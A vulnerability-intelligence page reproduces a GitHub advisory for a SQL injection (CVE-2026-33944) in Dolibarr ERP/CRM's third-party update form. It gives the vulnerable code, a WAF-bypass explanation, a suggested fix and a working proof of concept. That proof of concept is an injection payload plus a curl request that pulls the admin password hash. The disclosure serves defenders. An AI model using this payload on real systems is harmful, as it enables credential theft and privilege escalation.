KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 16:01 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-33944

Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter

A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The `localtax1_value` parameter (`lt1`) is concatenated directly into an SQL UPDATE statement in `societe/class/societe.class.

Published Updated

At a glance

Exploited
Not known
Severity
8.8 High (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.

Read GitHub-reviewed advisory GHSA-v5fq-cf5m-vwv7 (opens a new tab)

What happened

### Summary

A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The `localtax1_value` parameter (`lt1`) is concatenated directly into an SQL UPDATE statement in `societe/class/societe.class.php` at line 1672 without any escaping, type casting, or parameterized query binding.

An authenticated user with standard "Third Party: Create/Edit" permission can extract any data from the database, including password hashes, API keys, and all business data.

Tested on Dolibarr v23.0.0 (latest stable), default installation via official Docker image, MariaDB 10.11. No custom modules, no modified configuration.

Continue reading

### Details

**Vulnerable code** (`societe/class/societe.class.php`, line 1672): ```php $sql .= ",localtax1_value =".$this->localtax1_value; ```

The value comes from `GETPOST('lt1', 'alpha')` (`societe/card.php`, line 1135). The only sanitization applied is `trim()` at line 1528 — no `(float)` cast, no `$db->escape()`.

The `alpha` input filter strips HTML tags and double quotes but does **not** strip single quotes, parentheses, commas, or SQL keywords. Since the injection point is in a numeric SQL context (no quotes around the value), the attacker needs none of the filtered characters.

**Why the WAF does not block this:** Dolibarr's WAF (`waf.inc.php`) only checks SQL injection patterns in **GET** parameters, not POST. The POST-based `lt1` parameter bypasses it entirely.

**The same vulnerability exists** for `localtax2_value` (parameter `lt2`) at line 1682.

Adjacent fields like `localtax1_assuj` are properly cast to `(int)`, showing the developers were aware of injection risk but missed these fields.

### PoC

**Steps to reproduce:**

1. Install Dolibarr v23.0.0 (tested with official Docker image, MariaDB 10.11) 2. Log in with a user that has "Third Parties: Create/Edit" permission (standard user, not admin) 3. Create or open any existing Third Party (company) record 4. Click "Edit" on the company card to open the update form 5. Intercept the POST request (e.g.

, Burp Suite) and add these parameters to the request body: - `localtax1assuj_value=1` - `lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)` 6. Submit the form (server responds with HTTP 302 Found — successful update) 7. Navigate to the company's Notes tab — the admin's MD5 password hash is now visible in the "Private Note" field

**Verification:** `echo -n "admin123" | md5sum` → `0192023a7bbd73250516f069df18b500` (matches exfiltrated hash).

**Figure 1 — Notes tab before exploitation (Private Note field is empty):**

**Figure 2 — Burp Suite Repeater: full POST request headers and HTTP 302 Found response:**

**Figure 3 — Burp Suite Repeater: request body with injected `localtax1assuj_value=1` and `lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)`:**

**Figure 4 — Notes tab after exploitation: Private Note now contains `0192023a7bbd73250516f069df18b500` (MD5 hash of admin password "admin123"):**

**curl PoC:** ```bash curl -b cookies.txt \ --data-urlencode "action=update" \ --data-urlencode "token=CSRF_TOKEN" \ --data-urlencode "socid=1" \ --data-urlencode "name=TestCompany" \ --data-urlencode "status=1" \ --data-urlencode "localtax1assuj_value=1" \ --data-urlencode "lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)" \ --data-urlencode "client=1" \ --data-urlencode "typent_id=0" \ "http://TARGET/societe/card.php?socid=1" ```

**Additional proof — arithmetic evaluation:** Sending `lt1=3+4` results in `localtax1_value=7.0000` stored in the database. The expression was evaluated by the SQL engine, confirming injection.

**Additional proof — user count exfiltration:** Sending `lt1=(SELECT COUNT(*) FROM llx_user)` results in `localtax1_value=1.0000`.

### Impact

An attacker with basic "Third Party: Create/Edit" permission (standard user, not admin) can:

- **Read** any data from the database (password hashes, API keys, customer/supplier data, invoices, bank account details) - **Modify** any database record via additional SET clauses in the UPDATE injection - **Escalate** to admin by cracking MD5 password hashes (Dolibarr uses unsalted MD5 by default) - **Potentially achieve RCE** via admin features (Website module PHP injection, ModuleBuilder) after privilege escalation

### Suggested Fix

```php // societe.class.php, line 1528 — add (float) cast: $this->localtax1_value = (float) price2num(trim($this->localtax1_value));

// societe.class.php, line 1672 — add (float) cast: $sql .= ",localtax1_value =".((float) $this->localtax1_value); ```

Apply same fix for `localtax2_value` (lines 1529, 1682).

### Credit

Please credit this finding to: **Grzegorz Tworek (F3715H) sec4check** (grzegorz.tworek@sec4check.pl)

### References

A detailed write-up will be published after patch release at: https://www.sec4check.pl/blog/posts/cve-dolibarr-sql-injection-localtax-third-party.html

We kindly request including this URL in the CVE references.

Affected package ranges reported by GitHub: dolibarr/dolibarr: <= 23.0.0

Scores and how they were measured

CVSS base severity

8.8

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-v5fq-cf5m-vwv7 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-v5fq-cf5m-vwv7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter (CVE-2026-33944). https://kevwire.com/record/CVE-2026-33944

MLA

"Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter (CVE-2026-33944)." KEVWire, 27 Oct. 2026, kevwire.com/record/CVE-2026-33944.

Chicago

KEVWire. "Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter (CVE-2026-33944)." Last modified October 27, 2026. https://kevwire.com/record/CVE-2026-33944.

Evidence summary (plain text)

Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter (Oct 27, 2026).
A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The `localtax1_value` parameter (`lt1`) is concatenated
 directly into an SQL UPDATE statement in `societe/class/societe.class.php` at line 1672 without any escaping, type casting, or parameterized query binding.

 An authenticated user with standard "Third Party: Create/Edit" permission can extract any data from the database, including password hashes, API keys, and all
 business data.
CVSS 8.8 (version 3.1; evidence as of Oct 27, 2026; https://github.com/advisories/GHSA-v5fq-cf5m-vwv7).
Sources:
GitHub-reviewed advisory GHSA-v5fq-cf5m-vwv7: https://github.com/advisories/GHSA-v5fq-cf5m-vwv7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-33944.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 16:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail